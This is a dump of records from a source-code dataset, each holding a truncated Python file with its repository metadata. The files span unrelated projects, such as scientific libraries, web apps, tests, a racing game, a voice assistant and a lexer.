# Copyright (C) 2019 by eHealth Africa : http://www.eHealthAfrica.org # # See the NOTICE file distributed with this work for additional information # regarding copyright ownership. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with # the License. Y...
31.736041
85
0.679303
7c0e9d465eeddf2a8eeee673a92ff1e660a22216
57
py
Python
plans/config.py
datopian/plans
12bd9ff6f725703e7a73f3ad90680f5ade8cebdf
[ "MIT" ]
3
2019-11-18T12:04:27.000Z
2020-03-07T02:45:45.000Z
plans/config.py
datopian/plans
12bd9ff6f725703e7a73f3ad90680f5ade8cebdf
[ "MIT" ]
null
null
null
plans/config.py
datopian/plans
12bd9ff6f725703e7a73f3ad90680f5ade8cebdf
[ "MIT" ]
null
null
null
import os database_url = os.environ.get('DATABASE_URL')
14.25
45
0.77193
7c0efca532f7042e0db58c5e7fb4f25f0274261b
3,437
py
Python
Assignment Day 2 .py
ShubhamKahlon57/Letsupgrade-python-Batch-7
7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af
[ "Apache-2.0" ]
null
null
null
Assignment Day 2 .py
ShubhamKahlon57/Letsupgrade-python-Batch-7
7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af
[ "Apache-2.0" ]
null
null
null
Assignment Day 2 .py
ShubhamKahlon57/Letsupgrade-python-Batch-7
7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # In[ ]: #List and function # In[6]: # empty list my_list = [] # list of integers my_list = [1, 2, 3] # list with mixed data types my_list = [1, "Hello", 3.4] # In[7]: # nested list my_list = ["mouse", [8, 4, 6], ['a']] # In[11]: # List indexing my_list = ['p', '...
12.059649
66
0.607507
7c0f552f843493e2753dc5c4baf8ccf2206f5f32
195
py
Python
hackerrank/pickingNumbers.py
irvandindaprakoso/online-test-py
a7a6cd98ba3e0b74558ecb7e431eb2729077a38a
[ "W3C" ]
null
null
null
hackerrank/pickingNumbers.py
irvandindaprakoso/online-test-py
a7a6cd98ba3e0b74558ecb7e431eb2729077a38a
[ "W3C" ]
null
null
null
hackerrank/pickingNumbers.py
irvandindaprakoso/online-test-py
a7a6cd98ba3e0b74558ecb7e431eb2729077a38a
[ "W3C" ]
null
null
null
def pickingNumbers(a): # Write your code here max = 0 for i in a: c = a.count(i) d = a.count(i-1) e = c+d if e>max: max = e return max
17.727273
26
0.435897
7c0f8b607ed4a4992f5429c04c93d80a3e6a70fc
9,656
py
Python
tests/test_api_transaction.py
preston-wagner/authorizesauce
130ee30f500c8b5bf9a6384296ca4f5d5bb565e7
[ "MIT" ]
null
null
null
tests/test_api_transaction.py
preston-wagner/authorizesauce
130ee30f500c8b5bf9a6384296ca4f5d5bb565e7
[ "MIT" ]
null
null
null
tests/test_api_transaction.py
preston-wagner/authorizesauce
130ee30f500c8b5bf9a6384296ca4f5d5bb565e7
[ "MIT" ]
1
2020-06-17T15:48:46.000Z
2020-06-17T15:48:46.000Z
from datetime import date from six import BytesIO, binary_type, u from six.moves.urllib.parse import parse_qsl, urlencode from unittest2 import TestCase import mock from authorizesauce.apis.transaction import PROD_URL, TEST_URL, TransactionAPI from authorizesauce.data import Address, CreditCard from authorizesauce.e...
40.06639
79
0.629453
7c10a8d2f209ef6de0439f6adc19d3fc6d877d41
678
py
Python
src/genie/libs/parser/iosxe/tests/ShowIpv6ProtocolsSectionRip/cli/equal/golden_output_2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
src/genie/libs/parser/iosxe/tests/ShowIpv6ProtocolsSectionRip/cli/equal/golden_output_2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/iosxe/tests/ShowIpv6ProtocolsSectionRip/cli/equal/golden_output_2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { "vrf": { "VRF1": { "address_family": { "ipv6": { "instance": { "rip ripng": { "redistribute": { "static": {"route_policy": "static-to-rip"}, ...
29.478261
76
0.227139
7c11512944aa360a8ca2b2179d573b01222bea5e
2,621
py
Python
build_json.py
sungpyocho/covid19-aichi-tools
5170bf405f67b14179fe10838701ec5baa9d6cc1
[ "MIT" ]
null
null
null
build_json.py
sungpyocho/covid19-aichi-tools
5170bf405f67b14179fe10838701ec5baa9d6cc1
[ "MIT" ]
null
null
null
build_json.py
sungpyocho/covid19-aichi-tools
5170bf405f67b14179fe10838701ec5baa9d6cc1
[ "MIT" ]
null
null
null
import csv import io import json import pandas as pd import sys from dateutil import tz from datetime import datetime, date, time, timedelta # Japan Standard Time (UTC + 09:00) JST = tz.gettz('Asia/Tokyo') JST_current_time = datetime.now(tz=JST).strftime('%Y/%m/%d %H:%M') patients_list = [] patients_summary_dic = {}...
28.48913
96
0.655857
7c1199fad1c1f92e7be3b25334e3b5e42a47fbe5
6,633
py
Python
dl/models/ssd/modules/utils.py
jjjkkkjjj/pytorch.dl
d82aa1191c14f328c62de85e391ac6fa1b4c7ee3
[ "MIT" ]
2
2021-02-06T22:40:13.000Z
2021-03-26T09:15:34.000Z
dl/models/ssd/modules/utils.py
jjjkkkjjj/pytorch.dl
d82aa1191c14f328c62de85e391ac6fa1b4c7ee3
[ "MIT" ]
8
2020-07-11T07:10:51.000Z
2022-03-12T00:39:03.000Z
dl/models/ssd/modules/utils.py
jjjkkkjjj/pytorch.dl
d82aa1191c14f328c62de85e391ac6fa1b4c7ee3
[ "MIT" ]
2
2021-03-26T09:19:42.000Z
2021-07-27T02:38:09.000Z
import torch from ....data.utils.boxes import centroids2corners, iou def matching_strategy(targets, dboxes, **kwargs): """ :param targets: Tensor, shape is (batch*object num(batch), 1+4+class_labels) :param dboxes: shape is (default boxes num, 4) IMPORTANT: Note that means (cx, cy, w, h) :param kw...
41.45625
174
0.673903
7c120c632a3695672ca8dce5ff251b3540195c6e
68,026
py
Python
sandroad.py
lancelee82/bluelake
3ac3bba191ec5e331dcf66e0a20725445585c316
[ "MIT" ]
null
null
null
sandroad.py
lancelee82/bluelake
3ac3bba191ec5e331dcf66e0a20725445585c316
[ "MIT" ]
null
null
null
sandroad.py
lancelee82/bluelake
3ac3bba191ec5e331dcf66e0a20725445585c316
[ "MIT" ]
null
null
null
""" Flatpath, go forward forever. http://codeincomplete.com/posts/javascript-racer/ http://www.extentofthejam.com/pseudo/ http://pixel.garoux.net/screen/game_list Usage: * UP/DOWN/LEFT/RIGHT * SPACE : hide/show road map * TAB : replay this road * RETURN : go to a new road TODO: * hill road * more road sprites * soun...
28.824576
100
0.467263
7c12ff613b7b049edec918f0aa7806f03a342762
9,197
py
Python
First_course/test5_base.py
laetrid/learning
b28312c34db2118fb7d5691834b8f7e628117642
[ "Apache-2.0" ]
null
null
null
First_course/test5_base.py
laetrid/learning
b28312c34db2118fb7d5691834b8f7e628117642
[ "Apache-2.0" ]
null
null
null
First_course/test5_base.py
laetrid/learning
b28312c34db2118fb7d5691834b8f7e628117642
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python sw1_show_cdp_neighbors = ''' SW1>show cdp neighbors Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone Device ID Local Intrfce Holdtme Capability Platform ...
37.084677
127
0.677938
7c138f84c229bf0a17e877706fc36f489907d8bf
23,732
py
Python
scipy/optimize/_numdiff.py
jeremiedbb/scipy
2bea64c334b18fd445a7945b350d7ace2dc22913
[ "BSD-3-Clause" ]
1
2019-12-19T16:51:27.000Z
2019-12-19T16:51:27.000Z
scipy/optimize/_numdiff.py
jeremiedbb/scipy
2bea64c334b18fd445a7945b350d7ace2dc22913
[ "BSD-3-Clause" ]
null
null
null
scipy/optimize/_numdiff.py
jeremiedbb/scipy
2bea64c334b18fd445a7945b350d7ace2dc22913
[ "BSD-3-Clause" ]
null
null
null
"""Routines for numerical differentiation.""" from __future__ import division import numpy as np from numpy.linalg import norm from scipy.sparse.linalg import LinearOperator from ..sparse import issparse, csc_matrix, csr_matrix, coo_matrix, find from ._group_columns import group_dense, group_sparse EPS = np.finfo(n...
37.08125
79
0.583727
7c147e3dd10a5e110c033ad9ba1df174aabe3c39
20,303
py
Python
tests/models/test_hparams.py
abhinavg97/pytorch-lightning
0d54cf25a2dba33e4640ac52768a83406e7a0a94
[ "Apache-2.0" ]
1
2020-10-26T09:02:08.000Z
2020-10-26T09:02:08.000Z
tests/models/test_hparams.py
vivektalwar13071999/pytorch-lightning
7c4f80a1afe3d7b0f1e9ee834aacaf8439195cdf
[ "Apache-2.0" ]
null
null
null
tests/models/test_hparams.py
vivektalwar13071999/pytorch-lightning
7c4f80a1afe3d7b0f1e9ee834aacaf8439195cdf
[ "Apache-2.0" ]
null
null
null
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
33.174837
116
0.713441
7c149f4f2e879ee66f71bed92f16a685a097e92b
20,142
py
Python
tests/space_test.py
hadrianmontes/jax-md
cea1cc6b22db6044a502eeeab4bddde35ac15d94
[ "ECL-2.0", "Apache-2.0" ]
713
2019-05-14T19:02:00.000Z
2022-03-31T17:42:23.000Z
tests/space_test.py
hadrianmontes/jax-md
cea1cc6b22db6044a502eeeab4bddde35ac15d94
[ "ECL-2.0", "Apache-2.0" ]
109
2019-05-15T13:27:09.000Z
2022-03-17T16:15:59.000Z
tests/space_test.py
hadrianmontes/jax-md
cea1cc6b22db6044a502eeeab4bddde35ac15d94
[ "ECL-2.0", "Apache-2.0" ]
117
2019-05-17T13:23:37.000Z
2022-03-18T10:32:29.000Z
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
35.52381
88
0.666369
7c14cbf83bd9f7d5d27ebfe3490cc6f31c415451
246
py
Python
functions/batch-custom-action/status-api/lambda.py
TrollPursePublishing/trollpurse-trollops
27e54cfd1ba1eed27097e2e3038dfab56691cf49
[ "Xnet", "Linux-OpenIB", "X11" ]
2
2020-11-18T06:04:27.000Z
2021-04-22T12:38:15.000Z
functions/batch-custom-action/status-api/lambda.py
TrollPursePublishing/trollpurse-ops
27e54cfd1ba1eed27097e2e3038dfab56691cf49
[ "Xnet", "Linux-OpenIB", "X11" ]
null
null
null
functions/batch-custom-action/status-api/lambda.py
TrollPursePublishing/trollpurse-ops
27e54cfd1ba1eed27097e2e3038dfab56691cf49
[ "Xnet", "Linux-OpenIB", "X11" ]
null
null
null
import boto3 batch_client = boto3.client('batch') def lambda_handler(event, context): describe_response = batch_client.describe_jobs( jobs=[ event.get('jobId', '')] ) return describe_response.get('jobs', [{}])[0].get('status', '')
22.363636
65
0.678862
7c154bd7941e6664ea91468d29e01f725ad32c14
2,914
py
Python
app/auth/views.py
ifaraag/app
d952f0dc58fd703074c19ed3235c1520119baf5f
[ "MIT" ]
null
null
null
app/auth/views.py
ifaraag/app
d952f0dc58fd703074c19ed3235c1520119baf5f
[ "MIT" ]
null
null
null
app/auth/views.py
ifaraag/app
d952f0dc58fd703074c19ed3235c1520119baf5f
[ "MIT" ]
null
null
null
from flask import Blueprint, render_template, redirect, url_for, request, flash from flask.ext.login import login_required, login_user, logout_user from werkzeug import check_password_hash, generate_password_hash from app import db, login_manager, pubnub, app, _callback from .models import User from .forms import Logi...
37.358974
133
0.630062
7c159cac6567c00ed5a82a064ec8c65b30f68447
1,595
py
Python
economist/migrations/0003_auto_20170406_1402.py
xingjianpan/news_reader_backend
c892e157460ef22720bfcbad5a7d2bfe9bcd4aa9
[ "MIT" ]
1
2017-11-01T02:12:24.000Z
2017-11-01T02:12:24.000Z
economist/migrations/0003_auto_20170406_1402.py
xingjianpan/news_reader_backend
c892e157460ef22720bfcbad5a7d2bfe9bcd4aa9
[ "MIT" ]
null
null
null
economist/migrations/0003_auto_20170406_1402.py
xingjianpan/news_reader_backend
c892e157460ef22720bfcbad5a7d2bfe9bcd4aa9
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-04-06 06:02 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('economist', '0002_auto_20170406_1153'), ] operations = [ migrations.AlterFi...
28.482143
58
0.552978
7c16097e2ba8634058cfc608cf9a3d535fa94016
2,051
py
Python
test/test_ethereum.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2018-08-21T06:28:36.000Z
2018-08-21T06:28:36.000Z
test/test_ethereum.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2019-05-30T06:23:41.000Z
2019-09-03T09:49:06.000Z
test/test_ethereum.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2021-06-30T12:36:25.000Z
2021-06-30T12:36:25.000Z
import unittest from coinplus_solo_redeem.common import wif_export_bitcoin, compute_public_key_sec256k1, address_from_publickey_ethereum class TestEthereum(unittest.TestCase): """test of the bitcoin conversion from private key to wif""" def setUp(self): self.test_add_vector = [("03cb3e5f30245658e1e3615...
85.458333
149
0.741589
7c170adc77db7c06c4c5968ae2d5e3df343748b4
776
py
Python
python97/chapter05/list_gen.py
youaresherlock/PythonPractice
2e22d3fdcb26353cb0d8215c150e84d11bc9a022
[ "Apache-2.0" ]
null
null
null
python97/chapter05/list_gen.py
youaresherlock/PythonPractice
2e22d3fdcb26353cb0d8215c150e84d11bc9a022
[ "Apache-2.0" ]
null
null
null
python97/chapter05/list_gen.py
youaresherlock/PythonPractice
2e22d3fdcb26353cb0d8215c150e84d11bc9a022
[ "Apache-2.0" ]
1
2019-11-05T01:10:15.000Z
2019-11-05T01:10:15.000Z
#!usr/bin/python # -*- coding:utf8 -*- # 列表生成式(列表推导式) # 1. 提取出1-20之间的奇数 # odd_list = [] # for i in range(21): # if i % 2 == 1: # odd_list.append(i) # odd_list = [i for i in range(21) if i % 2 == 1] # print(odd_list) # 2. 逻辑复杂的情况 如果是奇数将结果平方 # 列表生成式性能高于列表操作 def handle_item(item): return item * item odd...
15.836735
61
0.627577
7c17743faf77b54c0516f30699a3b1dc9b050a25
11,409
py
Python
src/streamlink/plugin/plugin.py
isqad/streamlink
f6708f1d38d056177ac3d614ebbb740d956d46f0
[ "BSD-2-Clause" ]
1
2017-11-26T18:48:29.000Z
2017-11-26T18:48:29.000Z
src/streamlink/plugin/plugin.py
isqad/streamlink
f6708f1d38d056177ac3d614ebbb740d956d46f0
[ "BSD-2-Clause" ]
null
null
null
src/streamlink/plugin/plugin.py
isqad/streamlink
f6708f1d38d056177ac3d614ebbb740d956d46f0
[ "BSD-2-Clause" ]
1
2021-06-03T23:08:48.000Z
2021-06-03T23:08:48.000Z
import ast import operator import re from collections import OrderedDict from functools import partial from ..cache import Cache from ..exceptions import PluginError, NoStreamsError from ..options import Options # FIXME: This is a crude attempt at making a bitrate's # weight end up similar to the weight of a resolut...
29.104592
101
0.573582
7c18032075b4197ee9055f4f541529df445b2854
998
py
Python
tests/cli/conftest.py
Aahbree/reference-data-repository
f318c0532aaf941ec4f00c8375c9dea45c56f186
[ "MIT" ]
null
null
null
tests/cli/conftest.py
Aahbree/reference-data-repository
f318c0532aaf941ec4f00c8375c9dea45c56f186
[ "MIT" ]
5
2021-01-27T22:17:19.000Z
2021-12-14T17:13:58.000Z
tests/cli/conftest.py
Aahbree/reference-data-repository
f318c0532aaf941ec4f00c8375c9dea45c56f186
[ "MIT" ]
5
2021-12-08T02:33:44.000Z
2021-12-13T03:21:51.000Z
# This file is part of the Reference Data Repository (refdata). # # Copyright (C) 2021 New York University. # # refdata is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Fixtures for testing the command-line interface.""" import os i...
30.242424
78
0.733467
7c1898e479d14fbe657ed1376514f87c04d2b942
2,971
py
Python
swav/vissl/vissl/data/ssl_transforms/img_patches_tensor.py
lhoestq/DeDLOC
36f5a6d043c3d727f9d098a35fba94aa351a5cd4
[ "Apache-2.0" ]
null
null
null
swav/vissl/vissl/data/ssl_transforms/img_patches_tensor.py
lhoestq/DeDLOC
36f5a6d043c3d727f9d098a35fba94aa351a5cd4
[ "Apache-2.0" ]
null
null
null
swav/vissl/vissl/data/ssl_transforms/img_patches_tensor.py
lhoestq/DeDLOC
36f5a6d043c3d727f9d098a35fba94aa351a5cd4
[ "Apache-2.0" ]
null
null
null
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import logging import math from typing import Any, Dict import numpy as np from classy_vision.dataset.transforms import register_transform from classy_vision.dataset.transforms.classy_transform import ClassyTransform @register_transform("ImgPatc...
37.607595
88
0.623023
7c1a4912119b5eeaa02dc5d6942de0df8f969733
1,783
py
Python
python/jittor/utils/publish.py
Jittor/Jittor
bc945bae94bded917214b0afe12be6bf5b919dbe
[ "Apache-2.0" ]
4
2020-01-12T13:16:16.000Z
2020-01-12T15:43:54.000Z
python/jittor/utils/publish.py
Jittor/Jittor
bc945bae94bded917214b0afe12be6bf5b919dbe
[ "Apache-2.0" ]
null
null
null
python/jittor/utils/publish.py
Jittor/Jittor
bc945bae94bded917214b0afe12be6bf5b919dbe
[ "Apache-2.0" ]
1
2020-01-12T13:17:17.000Z
2020-01-12T13:17:17.000Z
#!/usr/bin/python3 # *************************************************************** # Copyright (c) 2022 Jittor. All Rights Reserved. # Maintainers: # Dun Liang <randonlang@gmail.com>. # # This file is subject to the terms and conditions defined in # file 'LICENSE.txt', which is part of this source code packag...
34.288462
144
0.647224
7c1a65d75547f91601127884078028e187b93021
588
py
Python
prodapt_solutions/config/cliargs.py
DineshDevaraj/interview_answers
8d3d631dc96dc97ebef80604d6455c2c57c8823d
[ "MIT" ]
null
null
null
prodapt_solutions/config/cliargs.py
DineshDevaraj/interview_answers
8d3d631dc96dc97ebef80604d6455c2c57c8823d
[ "MIT" ]
null
null
null
prodapt_solutions/config/cliargs.py
DineshDevaraj/interview_answers
8d3d631dc96dc97ebef80604d6455c2c57c8823d
[ "MIT" ]
null
null
null
import argparse from helper.metaclasses_definition import Singleton class CliArgs(metaclass=Singleton): LogLevel = None BankName = None InputFilepath = None @staticmethod def init(): my_parser = argparse.ArgumentParser() my_parser.add_argument('--bank-name', required=True) ...
24.5
60
0.685374
7c1c295aedd09d62a7ca4222595cff9f7fd4e5fc
1,237
py
Python
plugins/flytekit-papermill/setup.py
TeoZosa/flytekit
c4f33c6deaf36a3feaf397cfc6de3bd62e986733
[ "Apache-2.0" ]
null
null
null
plugins/flytekit-papermill/setup.py
TeoZosa/flytekit
c4f33c6deaf36a3feaf397cfc6de3bd62e986733
[ "Apache-2.0" ]
null
null
null
plugins/flytekit-papermill/setup.py
TeoZosa/flytekit
c4f33c6deaf36a3feaf397cfc6de3bd62e986733
[ "Apache-2.0" ]
null
null
null
from setuptools import setup PLUGIN_NAME = "papermill" microlib_name = f"flytekitplugins-{PLUGIN_NAME}" plugin_requires = [ "flytekit>=0.16.0b0,<1.0.0", "flytekitplugins-spark>=0.16.0b0,<1.0.0,!=0.24.0b0", "papermill>=1.2.0", "nbconvert>=6.0.7", "ipykernel>=5.0.0", ] __version__ = "0.0.0+develop...
30.170732
71
0.645918
7c1d6fd7dc1976bcfc2727fbe10b4b7b22073b1a
705
py
Python
2017/third.py
vla3089/adventofcode
0aefb5509e9f816f89eeab703393be7222632e02
[ "Apache-2.0" ]
null
null
null
2017/third.py
vla3089/adventofcode
0aefb5509e9f816f89eeab703393be7222632e02
[ "Apache-2.0" ]
null
null
null
2017/third.py
vla3089/adventofcode
0aefb5509e9f816f89eeab703393be7222632e02
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python input = 368078 size = 1 s_size = size * size # squared size while (s_size < input): size += 2 s_size = size * size bottom_right = s_size bottom_left = s_size - size + 1 top_left = s_size - 2 * size + 2 top_right = s_size - 3 * size + 3 input_x = -1 input_y = -1 # bottom horizontal lin...
19.054054
47
0.631206
7c1dfdf1304b0b11fe75fef3682da8277a3d5207
2,981
py
Python
racer/methods/genetic_programming/parameterized.py
max-eth/racer
952991aedec5d8229bb1126c9c066613f5c30146
[ "MIT" ]
1
2022-02-26T00:10:03.000Z
2022-02-26T00:10:03.000Z
racer/methods/genetic_programming/parameterized.py
max-eth/racer
952991aedec5d8229bb1126c9c066613f5c30146
[ "MIT" ]
null
null
null
racer/methods/genetic_programming/parameterized.py
max-eth/racer
952991aedec5d8229bb1126c9c066613f5c30146
[ "MIT" ]
null
null
null
import copy import numpy as np from racer.utils import load_pickle from racer.methods.genetic_programming.program_tree import ProgramTree class ParameterizedTree(ProgramTree): # This makes the assumption that all children of the underlying tree are in a field .children and that the underlying tree has the field ....
32.402174
146
0.637035
7c1e9749d62da31f126224b5dcf3c15abd4025bd
10,568
py
Python
base/frontends/views.py
danielecook/upvote.pub
fdda3c0895427ddc76f4680d0d63f2d4bac59da0
[ "MIT" ]
1
2020-09-13T09:16:44.000Z
2020-09-13T09:16:44.000Z
base/frontends/views.py
danielecook/upvote.pub
fdda3c0895427ddc76f4680d0d63f2d4bac59da0
[ "MIT" ]
null
null
null
base/frontends/views.py
danielecook/upvote.pub
fdda3c0895427ddc76f4680d0d63f2d4bac59da0
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ """ import os import markdown2 from flask import (Blueprint, request, render_template, flash, g, session, redirect, url_for, abort, Markup) ...
35.582492
157
0.599924
7c1ed9a736672c0c84e29905bebe37cc7b644280
2,949
py
Python
Jarvis.py
vijayeshmt/Securitylock
5877663a170a22ab8b5931dcef07c74f149cf9b8
[ "CC0-1.0" ]
1
2021-05-27T09:05:00.000Z
2021-05-27T09:05:00.000Z
Jarvis.py
vijayeshmt/Securitylock
5877663a170a22ab8b5931dcef07c74f149cf9b8
[ "CC0-1.0" ]
null
null
null
Jarvis.py
vijayeshmt/Securitylock
5877663a170a22ab8b5931dcef07c74f149cf9b8
[ "CC0-1.0" ]
null
null
null
import pyttsx3 import datetime import speech_recognition as sr import wikipedia import webbrowser import os import smtplib engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) # To change the voice to female change 0 to 1. def speak(au...
26.097345
121
0.664632
7c1ee1ca0bd0d4b48cc0fd831915fd050efb4c03
7,323
py
Python
clients/kratos/python/test/test_v0alpha1_api.py
kolotaev/sdk
0dda1becd70be8d7b9d678321ebe780c1ba00485
[ "Apache-2.0" ]
null
null
null
clients/kratos/python/test/test_v0alpha1_api.py
kolotaev/sdk
0dda1becd70be8d7b9d678321ebe780c1ba00485
[ "Apache-2.0" ]
null
null
null
clients/kratos/python/test/test_v0alpha1_api.py
kolotaev/sdk
0dda1becd70be8d7b9d678321ebe780c1ba00485
[ "Apache-2.0" ]
null
null
null
""" Ory Kratos API Documentation for all public and administrative Ory Kratos APIs. Public and administrative APIs are exposed on different ports. Public APIs can face the public internet without any protection while administrative APIs should never be exposed without prior authorization. To protect the admini...
28.944664
446
0.677455
7c1fee26199f1ac314e850e76b7a8f652294de76
171
py
Python
osrsapi/__init__.py
XaKingas/osrsapi
14b93e0f6902724e57ebb1f50d817bd557e41c3d
[ "MIT" ]
null
null
null
osrsapi/__init__.py
XaKingas/osrsapi
14b93e0f6902724e57ebb1f50d817bd557e41c3d
[ "MIT" ]
null
null
null
osrsapi/__init__.py
XaKingas/osrsapi
14b93e0f6902724e57ebb1f50d817bd557e41c3d
[ "MIT" ]
1
2020-07-03T11:24:55.000Z
2020-07-03T11:24:55.000Z
from .grandexchange import GrandExchange, GameItemNotFound, GameItemParseError from .item import Item from .priceinfo import PriceInfo from .pricetrend import PriceTrend
28.5
78
0.853801
7c1ff3b3368700c34adbc70fc88801c1bc52b535
2,838
py
Python
utils/data_loader.py
dilum1995/DAugmentor
6cc86dccf826415a88b8226265e16ae96b5cc05b
[ "MIT" ]
1
2020-08-02T13:06:03.000Z
2020-08-02T13:06:03.000Z
utils/data_loader.py
dilum1995/DAugmentor
6cc86dccf826415a88b8226265e16ae96b5cc05b
[ "MIT" ]
null
null
null
utils/data_loader.py
dilum1995/DAugmentor
6cc86dccf826415a88b8226265e16ae96b5cc05b
[ "MIT" ]
null
null
null
import pandas as pd import os import numpy as np import cv2 from utils import constants as const import matplotlib.pyplot as plt class DataLoader: def load_data(): ''' This function is handling the data loading and pre-processing :return: (xtrain, ytrain), (xtest, ytest) ''' ...
31.88764
75
0.565891
7c2027c5e127752f77dcae4527133dc870a9894e
288
py
Python
CompilerPython/LexerPython/main.py
valternunez/Compiler
879cecbbeb1c21d9d19021664ace62442273d3ba
[ "MIT" ]
null
null
null
CompilerPython/LexerPython/main.py
valternunez/Compiler
879cecbbeb1c21d9d19021664ace62442273d3ba
[ "MIT" ]
null
null
null
CompilerPython/LexerPython/main.py
valternunez/Compiler
879cecbbeb1c21d9d19021664ace62442273d3ba
[ "MIT" ]
null
null
null
from lexer import * import sys if len(sys.argv) != 2: print("usage: main.py file") else: lex = Lexer(sys.argv[1]) with open(sys.argv[1]) as f: while True: c = f.read(1) if not c: break print(lex.scan().toString())
19.2
40
0.496528